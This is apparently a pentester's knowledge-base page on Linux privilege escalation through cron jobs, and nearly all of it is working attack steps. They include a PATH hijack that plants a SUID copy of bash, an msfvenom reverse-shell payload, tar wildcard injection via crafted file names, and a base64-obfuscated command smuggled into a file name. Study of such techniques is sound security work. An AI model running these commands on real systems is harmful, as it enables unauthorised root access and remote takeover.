Malleum Knowledge Base

Cron Jobs

2 min read

LSE

./lse.sh -l 1 -i | more

File permissions

View the Content of system wide crons

cat /etc/crontab

Locate the file that is running as part of crontab

 locate filename

Check the permission of the file

 
ls -l filename

Change the content of the file if there is write access

#! /bin/bash
 
revershell here

PATH Environment variable

  1. The crontab PATH environment variable is by default set to /usr/bin:/bin..
  2. The PATH variable can be overwritten in the crontab file.
  3. If a cron job program/script does not use an absolute path, and one of the PATH directories is writable by our user, we may be able to create a program/script with the same name as the cron job.

View the contents of the system-wide crontab:

Note that the /home/user directory (which we can write to) is at the start of the PATH variable, and the first cron job does not use an absolute path.

Exploit

  1. Create the file overwrite.sh in /home/user with the following contents:
#!/bin/bash
cp /bin/bash /tmp/rootbash 
chmod +s /tmp/rootbash
chmod +x /tmp/rootbash
  1. Make it executable
chmod +x /home/user/overwrite.sh
  1. Once the /tmp/rootbash file is created, execute it (with -p to preserve the effective UID) to gain a root shell:
cd /tmp
./rootbash –p

Wildcards

  1. View the contents of the system-wide crontab

  2. Use msfvenom to create a reverse shell ELF payload:

msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=53 -f elf -o shell.elf
  1. Copy the file to the /home/user directory on the remote host and make it executable:
 
chmod +x /home/user/shell.elf
  1. Create two files in the /home/user directory:
 
touch /home/user/--checkpoint=1 
touch /home/user/--checkpoint-action=exec=shell.elf

Find -exec

 touch /dev/shm/'$(echo -n Y2htb2QgdStzIC9iaW4vYmFzaA==|base64 -d|bash)'

Graph View